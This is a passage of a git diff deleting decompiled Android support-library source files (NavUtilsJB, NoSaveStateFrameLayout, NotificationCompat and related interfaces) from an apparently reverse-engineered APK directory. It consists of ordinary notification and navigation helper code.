b/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtilsJB.java deleted file mode 100644 index a442c4c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtilsJB.java +++ /dev/null @@ -1,26 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Intent; -import android.content.pm.ActivityInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NavUtilsJB { - NavUtilsJB() { - } - - public static Intent getParentActivityIntent(Activity activity) { - return activity.getParentActivityIntent(); - } - - public static boolean shouldUpRecreateTask(Activity activity, Intent intent) { - return activity.shouldUpRecreateTask(intent); - } - - public static void navigateUpTo(Activity activity, Intent intent) { - activity.navigateUpTo(intent); - } - - public static String getParentActivityName(ActivityInfo activityInfo) { - return activityInfo.parentActivityName; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NoSaveStateFrameLayout.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NoSaveStateFrameLayout.java deleted file mode 100644 index 4473cdb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NoSaveStateFrameLayout.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.os.Parcelable; -import android.util.SparseArray; -import android.view.View; -import android.view.ViewGroup; -import android.widget.FrameLayout; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NoSaveStateFrameLayout extends FrameLayout { - static ViewGroup wrap(View view) { - NoSaveStateFrameLayout noSaveStateFrameLayout = new NoSaveStateFrameLayout(view.getContext()); - ViewGroup.LayoutParams layoutParams = view.getLayoutParams(); - if (layoutParams != null) { - noSaveStateFrameLayout.setLayoutParams(layoutParams); - } - view.setLayoutParams(new FrameLayout.LayoutParams(-1, -1)); - noSaveStateFrameLayout.addView(view); - return noSaveStateFrameLayout; - } - - public NoSaveStateFrameLayout(Context context) { - super(context); - } - - @Override // android.view.ViewGroup, android.view.View - protected void dispatchSaveInstanceState(SparseArray sparseArray) { - dispatchFreezeSelfOnly(sparseArray); - } - - @Override // android.view.ViewGroup, android.view.View - protected void dispatchRestoreInstanceState(SparseArray sparseArray) { - dispatchThawSelfOnly(sparseArray); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithActions.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithActions.java deleted file mode 100644 index c24e992..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithActions.java +++ /dev/null @@ -1,7 +0,0 @@ -package android.support.v4.app; - -import android.support.v4.app.NotificationCompatBase; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -interface NotificationBuilderWithActions { - void addAction(NotificationCompatBase.Action action); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithBuilderAccessor.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithBuilderAccessor.java deleted file mode 100644 index 1909ca6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationBuilderWithBuilderAccessor.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface NotificationBuilderWithBuilderAccessor { - Notification build(); - - Notification.Builder getBuilder(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompat.java deleted file mode 100644 index 24e3b61..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompat.java +++ /dev/null @@ -1,2019 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.net.Uri; -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.NotificationCompatApi20; -import android.support.v4.app.NotificationCompatApi21; -import android.support.v4.app.NotificationCompatApi24; -import android.support.v4.app.NotificationCompatBase; -import android.support.v4.app.NotificationCompatIceCreamSandwich; -import android.support.v4.app.NotificationCompatJellybean; -import android.support.v4.app.NotificationCompatKitKat; -import android.support.v4.app.RemoteInputCompatBase; -import android.support.v4.os.BuildCompat; -import android.widget.RemoteViews; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class NotificationCompat { - public static final String CATEGORY_ALARM = "alarm"; - public static final String CATEGORY_CALL = "call"; - public static final String CATEGORY_EMAIL = "email"; - public static final String CATEGORY_ERROR = "err"; - public static final String CATEGORY_EVENT = "event"; - public static final String CATEGORY_MESSAGE = "msg"; - public static final String CATEGORY_PROGRESS = "progress"; - public static final String CATEGORY_PROMO = "promo"; - public static final String CATEGORY_RECOMMENDATION = "recommendation"; - public static final String CATEGORY_REMINDER = "reminder"; - public static final String CATEGORY_SERVICE = "service"; - public static final String CATEGORY_SOCIAL = "social"; - public static final String CATEGORY_STATUS = "status"; - public static final String CATEGORY_SYSTEM = "sys"; - public static final String CATEGORY_TRANSPORT = "transport"; - public static final int COLOR_DEFAULT = 0; - public static final int DEFAULT_ALL = -1; - public static final int DEFAULT_LIGHTS = 4; - public static final int DEFAULT_SOUND = 1; - public static final int DEFAULT_VIBRATE = 2; - public static final String EXTRA_BACKGROUND_IMAGE_URI = "android.backgroundImageUri"; - public static final String EXTRA_BIG_TEXT = "android.bigText"; - public static final String EXTRA_COMPACT_ACTIONS = "android.compactActions"; - public static final String EXTRA_CONVERSATION_TITLE = "android.conversationTitle"; - public static final String EXTRA_INFO_TEXT = "android.infoText"; - public static final String EXTRA_LARGE_ICON = "android.largeIcon"; - public static final String EXTRA_LARGE_ICON_BIG = "android.largeIcon.big"; - public static final String EXTRA_MEDIA_SESSION = "android.mediaSession"; - public static final String EXTRA_MESSAGES = "android.messages"; - public static final String EXTRA_PEOPLE = "android.people"; - public static final String EXTRA_PICTURE = "android.picture"; - public static final String EXTRA_PROGRESS = "android.progress"; - public static final String EXTRA_PROGRESS_INDETERMINATE = "android.progressIndeterminate"; - public static final String EXTRA_PROGRESS_MAX = "android.progressMax"; - public static final String EXTRA_REMOTE_INPUT_HISTORY = "android.remoteInputHistory"; - public static final String EXTRA_SELF_DISPLAY_NAME = "android.selfDisplayName"; - public static final String EXTRA_SHOW_CHRONOMETER = "android.showChronometer"; - public static final String EXTRA_SHOW_WHEN = "android.showWhen"; - public static final String EXTRA_SMALL_ICON = "android.icon"; - public static final String EXTRA_SUB_TEXT = "android.subText"; - public static final String EXTRA_SUMMARY_TEXT = "android.summaryText"; - public static final String EXTRA_TEMPLATE = "android.template"; - public static final String EXTRA_TEXT = "android.text"; - public static final String EXTRA_TEXT_LINES = "android.textLines"; - public static final String EXTRA_TITLE = "android.title"; - public static final String EXTRA_TITLE_BIG = "android.title.big"; - public static final int FLAG_AUTO_CANCEL = 16; - public static final int FLAG_FOREGROUND_SERVICE = 64; - public static final int FLAG_GROUP_SUMMARY = 512; - @Deprecated - public static final int FLAG_HIGH_PRIORITY = 128; - public static final int FLAG_INSISTENT = 4; - public static final int FLAG_LOCAL_ONLY = 256; - public static final int FLAG_NO_CLEAR = 32; - public static final int FLAG_ONGOING_EVENT = 2; - public static final int FLAG_ONLY_ALERT_ONCE = 8; - public static final int FLAG_SHOW_LIGHTS = 1; - static final NotificationCompatImpl IMPL; - public static final int PRIORITY_DEFAULT = 0; - public static final int PRIORITY_HIGH = 1; - public static final int PRIORITY_LOW = -1; - public static final int PRIORITY_MAX = 2; - public static final int PRIORITY_MIN = -2; - public static final int STREAM_DEFAULT = -1; - public static final int VISIBILITY_PRIVATE = 0; - public static final int VISIBILITY_PUBLIC = 1; - public static final int VISIBILITY_SECRET = -1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Extender { - Builder extend(Builder builder); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface NotificationCompatImpl { - Notification build(Builder builder, BuilderExtender builderExtender); - - Action getAction(Notification notification, int i); - - int getActionCount(Notification notification); - - Action[] getActionsFromParcelableArrayList(ArrayList arrayList); - - Bundle getBundleForUnreadConversation(NotificationCompatBase.UnreadConversation unreadConversation); - - String getCategory(Notification notification); - - Bundle getExtras(Notification notification); - - String getGroup(Notification notification); - - boolean getLocalOnly(Notification notification); - - ArrayList getParcelableArrayListForActions(Action[] actionArr); - - String getSortKey(Notification notification); - - NotificationCompatBase.UnreadConversation getUnreadConversationFromBundle(Bundle bundle, NotificationCompatBase.UnreadConversation.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2); - - boolean isGroupSummary(Notification notification); - } - - /* JADX INFO: Access modifiers changed from: protected */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class BuilderExtender { - protected BuilderExtender() { - } - - public Notification build(Builder builder, NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor) { - return notificationBuilderWithBuilderAccessor.build(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplBase implements NotificationCompatImpl { - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action getAction(Notification notification, int i) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public int getActionCount(Notification notification) { - return 0; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action[] getActionsFromParcelableArrayList(ArrayList arrayList) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Bundle getBundleForUnreadConversation(NotificationCompatBase.UnreadConversation unreadConversation) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getCategory(Notification notification) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Bundle getExtras(Notification notification) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getGroup(Notification notification) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean getLocalOnly(Notification notification) { - return false; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public ArrayList getParcelableArrayListForActions(Action[] actionArr) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getSortKey(Notification notification) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public NotificationCompatBase.UnreadConversation getUnreadConversationFromBundle(Bundle bundle, NotificationCompatBase.UnreadConversation.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - return null; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean isGroupSummary(Notification notification) { - return false; - } - - NotificationCompatImplBase() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - Notification add = NotificationCompatBase.add(builder.mNotification, builder.mContext, builder.mContentTitle, builder.mContentText, builder.mContentIntent, builder.mFullScreenIntent); - if (builder.mPriority > 0) { - add.flags |= 128; - } - if (builder.mContentView != null) { - add.contentView = builder.mContentView; - } - return add; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplHoneycomb extends NotificationCompatImplBase { - NotificationCompatImplHoneycomb() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - Notification add = NotificationCompatHoneycomb.add(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon); - if (builder.mContentView != null) { - add.contentView = builder.mContentView; - } - return add; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplIceCreamSandwich extends NotificationCompatImplBase { - NotificationCompatImplIceCreamSandwich() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - Notification build = builderExtender.build(builder, new NotificationCompatIceCreamSandwich.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate)); - if (builder.mContentView != null) { - build.contentView = builder.mContentView; - } - return build; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplJellybean extends NotificationCompatImplBase { - NotificationCompatImplJellybean() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - NotificationCompatJellybean.Builder builder2 = new NotificationCompatJellybean.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate, builder.mUseChronometer, builder.mPriority, builder.mSubText, builder.mLocalOnly, builder.mExtras, builder.mGroupKey, builder.mGroupSummary, builder.mSortKey, builder.mContentView, builder.mBigContentView); - NotificationCompat.addActionsToBuilder(builder2, builder.mActions); - NotificationCompat.addStyleToBuilderJellybean(builder2, builder.mStyle); - Notification build = builderExtender.build(builder, builder2); - if (builder.mStyle != null) { - builder.mStyle.addCompatExtras(getExtras(build)); - } - return build; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Bundle getExtras(Notification notification) { - return NotificationCompatJellybean.getExtras(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public int getActionCount(Notification notification) { - return NotificationCompatJellybean.getActionCount(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action getAction(Notification notification, int i) { - return (Action) NotificationCompatJellybean.getAction(notification, i, Action.FACTORY, RemoteInput.FACTORY); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action[] getActionsFromParcelableArrayList(ArrayList arrayList) { - return (Action[]) NotificationCompatJellybean.getActionsFromParcelableArrayList(arrayList, Action.FACTORY, RemoteInput.FACTORY); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public ArrayList getParcelableArrayListForActions(Action[] actionArr) { - return NotificationCompatJellybean.getParcelableArrayListForActions(actionArr); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean getLocalOnly(Notification notification) { - return NotificationCompatJellybean.getLocalOnly(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getGroup(Notification notification) { - return NotificationCompatJellybean.getGroup(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean isGroupSummary(Notification notification) { - return NotificationCompatJellybean.isGroupSummary(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getSortKey(Notification notification) { - return NotificationCompatJellybean.getSortKey(notification); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplKitKat extends NotificationCompatImplJellybean { - NotificationCompatImplKitKat() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - NotificationCompatKitKat.Builder builder2 = new NotificationCompatKitKat.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate, builder.mShowWhen, builder.mUseChronometer, builder.mPriority, builder.mSubText, builder.mLocalOnly, builder.mPeople, builder.mExtras, builder.mGroupKey, builder.mGroupSummary, builder.mSortKey, builder.mContentView, builder.mBigContentView); - NotificationCompat.addActionsToBuilder(builder2, builder.mActions); - NotificationCompat.addStyleToBuilderJellybean(builder2, builder.mStyle); - return builderExtender.build(builder, builder2); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Bundle getExtras(Notification notification) { - return NotificationCompatKitKat.getExtras(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public int getActionCount(Notification notification) { - return NotificationCompatKitKat.getActionCount(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action getAction(Notification notification, int i) { - return (Action) NotificationCompatKitKat.getAction(notification, i, Action.FACTORY, RemoteInput.FACTORY); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean getLocalOnly(Notification notification) { - return NotificationCompatKitKat.getLocalOnly(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getGroup(Notification notification) { - return NotificationCompatKitKat.getGroup(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean isGroupSummary(Notification notification) { - return NotificationCompatKitKat.isGroupSummary(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getSortKey(Notification notification) { - return NotificationCompatKitKat.getSortKey(notification); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplApi20 extends NotificationCompatImplKitKat { - NotificationCompatImplApi20() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - NotificationCompatApi20.Builder builder2 = new NotificationCompatApi20.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate, builder.mShowWhen, builder.mUseChronometer, builder.mPriority, builder.mSubText, builder.mLocalOnly, builder.mPeople, builder.mExtras, builder.mGroupKey, builder.mGroupSummary, builder.mSortKey, builder.mContentView, builder.mBigContentView); - NotificationCompat.addActionsToBuilder(builder2, builder.mActions); - NotificationCompat.addStyleToBuilderJellybean(builder2, builder.mStyle); - Notification build = builderExtender.build(builder, builder2); - if (builder.mStyle != null) { - builder.mStyle.addCompatExtras(getExtras(build)); - } - return build; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action getAction(Notification notification, int i) { - return (Action) NotificationCompatApi20.getAction(notification, i, Action.FACTORY, RemoteInput.FACTORY); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Action[] getActionsFromParcelableArrayList(ArrayList arrayList) { - return (Action[]) NotificationCompatApi20.getActionsFromParcelableArrayList(arrayList, Action.FACTORY, RemoteInput.FACTORY); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public ArrayList getParcelableArrayListForActions(Action[] actionArr) { - return NotificationCompatApi20.getParcelableArrayListForActions(actionArr); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean getLocalOnly(Notification notification) { - return NotificationCompatApi20.getLocalOnly(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getGroup(Notification notification) { - return NotificationCompatApi20.getGroup(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public boolean isGroupSummary(Notification notification) { - return NotificationCompatApi20.isGroupSummary(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getSortKey(Notification notification) { - return NotificationCompatApi20.getSortKey(notification); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplApi21 extends NotificationCompatImplApi20 { - NotificationCompatImplApi21() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplApi20, android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - NotificationCompatApi21.Builder builder2 = new NotificationCompatApi21.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate, builder.mShowWhen, builder.mUseChronometer, builder.mPriority, builder.mSubText, builder.mLocalOnly, builder.mCategory, builder.mPeople, builder.mExtras, builder.mColor, builder.mVisibility, builder.mPublicVersion, builder.mGroupKey, builder.mGroupSummary, builder.mSortKey, builder.mContentView, builder.mBigContentView, builder.mHeadsUpContentView); - NotificationCompat.addActionsToBuilder(builder2, builder.mActions); - NotificationCompat.addStyleToBuilderJellybean(builder2, builder.mStyle); - Notification build = builderExtender.build(builder, builder2); - if (builder.mStyle != null) { - builder.mStyle.addCompatExtras(getExtras(build)); - } - return build; - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public String getCategory(Notification notification) { - return NotificationCompatApi21.getCategory(notification); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Bundle getBundleForUnreadConversation(NotificationCompatBase.UnreadConversation unreadConversation) { - return NotificationCompatApi21.getBundleForUnreadConversation(unreadConversation); - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public NotificationCompatBase.UnreadConversation getUnreadConversationFromBundle(Bundle bundle, NotificationCompatBase.UnreadConversation.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - return NotificationCompatApi21.getUnreadConversationFromBundle(bundle, factory, factory2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NotificationCompatImplApi24 extends NotificationCompatImplApi21 { - NotificationCompatImplApi24() { - } - - @Override // android.support.v4.app.NotificationCompat.NotificationCompatImplApi21, android.support.v4.app.NotificationCompat.NotificationCompatImplApi20, android.support.v4.app.NotificationCompat.NotificationCompatImplKitKat, android.support.v4.app.NotificationCompat.NotificationCompatImplJellybean, android.support.v4.app.NotificationCompat.NotificationCompatImplBase, android.support.v4.app.NotificationCompat.NotificationCompatImpl - public Notification build(Builder builder, BuilderExtender builderExtender) { - NotificationCompatApi24.Builder builder2 = new NotificationCompatApi24.Builder(builder.mContext, builder.mNotification, builder.mContentTitle, builder.mContentText, builder.mContentInfo, builder.mTickerView, builder.mNumber, builder.mContentIntent, builder.mFullScreenIntent, builder.mLargeIcon, builder.mProgressMax, builder.mProgress, builder.mProgressIndeterminate, builder.mShowWhen, builder.mUseChronometer, builder.mPriority, builder.mSubText, builder.mLocalOnly, builder.mCategory, builder.mPeople, builder.mExtras, builder.mColor, builder.mVisibility, builder.mPublicVersion, builder.mGroupKey, builder.mGroupSummary, builder.mSortKey, builder.mRemoteInputHistory, builder.mContentView, builder.mBigContentView, builder.mHeadsUpContentView); - NotificationCompat.addActionsToBuilder(builder2, builder.mActions); - NotificationCompat.addStyleToBuilderApi24(builder2, builder.mStyle); - Notification build = builderExtender.build(builder, builder2); - if (builder.mStyle != null) { - builder.mStyle.addCompatExtras(getExtras(build)); - } - return build; - } - } - - static void addActionsToBuilder(NotificationBuilderWithActions notificationBuilderWithActions, ArrayList arrayList) { - Iterator it = arrayList.iterator(); - while (it.hasNext()) { - notificationBuilderWithActions.addAction(it.next()); - } - } - - static void addStyleToBuilderJellybean(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, Style style) { - if (style != null) { - if (style instanceof BigTextStyle) { - BigTextStyle bigTextStyle = (BigTextStyle) style; - NotificationCompatJellybean.addBigTextStyle(notificationBuilderWithBuilderAccessor, bigTextStyle.mBigContentTitle, bigTextStyle.mSummaryTextSet, bigTextStyle.mSummaryText, bigTextStyle.mBigText); - } else if (style instanceof InboxStyle) { - InboxStyle inboxStyle = (InboxStyle) style; - NotificationCompatJellybean.addInboxStyle(notificationBuilderWithBuilderAccessor, inboxStyle.mBigContentTitle, inboxStyle.mSummaryTextSet, inboxStyle.mSummaryText, inboxStyle.mTexts); - } else if (style instanceof BigPictureStyle) { - BigPictureStyle bigPictureStyle = (BigPictureStyle) style; - NotificationCompatJellybean.addBigPictureStyle(notificationBuilderWithBuilderAccessor, bigPictureStyle.mBigContentTitle, bigPictureStyle.mSummaryTextSet, bigPictureStyle.mSummaryText, bigPictureStyle.mPicture, bigPictureStyle.mBigLargeIcon, bigPictureStyle.mBigLargeIconSet); - } else { - boolean z = style instanceof MessagingStyle; - } - } - } - - static void addStyleToBuilderApi24(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, Style style) { - if (style != null) { - if (style instanceof MessagingStyle) { - MessagingStyle messagingStyle = (MessagingStyle) style; - ArrayList arrayList = new ArrayList(); - ArrayList arrayList2 = new ArrayList(); - ArrayList arrayList3 = new ArrayList(); - ArrayList arrayList4 = new ArrayList(); - ArrayList arrayList5 = new ArrayList(); - for (MessagingStyle.Message message : messagingStyle.mMessages) { - arrayList.add(message.getText()); - arrayList2.add(Long.valueOf(message.getTimestamp())); - arrayList3.add(message.getSender()); - arrayList4.add(message.getDataMimeType()); - arrayList5.add(message.getDataUri()); - } - NotificationCompatApi24.addMessagingStyle(notificationBuilderWithBuilderAccessor, messagingStyle.mUserDisplayName, messagingStyle.mConversationTitle, arrayList, arrayList2, arrayList3, arrayList4, arrayList5); - return; - } - addStyleToBuilderJellybean(notificationBuilderWithBuilderAccessor, style); - } - } - - static { - if (BuildCompat.isAtLeastN()) { - IMPL = new NotificationCompatImplApi24(); - } else { - IMPL = new NotificationCompatImplApi21(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder { - private static final int MAX_CHARSEQUENCE_LENGTH = 5120; - RemoteViews mBigContentView; - String mCategory; - public CharSequence mContentInfo; - PendingIntent mContentIntent; - public CharSequence mContentText; - public CharSequence mContentTitle; - RemoteViews mContentView; - public Context mContext; - Bundle mExtras; - PendingIntent mFullScreenIntent; - String mGroupKey; - boolean mGroupSummary; - RemoteViews mHeadsUpContentView; - public Bitmap mLargeIcon; - public Notification mNotification; - public int mNumber; - public ArrayList mPeople; - int mPriority; - int mProgress; - boolean mProgressIndeterminate; - int mProgressMax; - Notification mPublicVersion; - public CharSequence[] mRemoteInputHistory; - String mSortKey; - public Style mStyle; - public CharSequence mSubText; - RemoteViews mTickerView; - public boolean mUseChronometer; - boolean mShowWhen = true; - public ArrayList mActions = new ArrayList<>(); - boolean mLocalOnly = false; - int mColor = 0; - int mVisibility = 0; - - public Builder(Context context) { - Notification notification = new Notification(); - this.mNotification = notification; - this.mContext = context; - notification.when = System.currentTimeMillis(); - 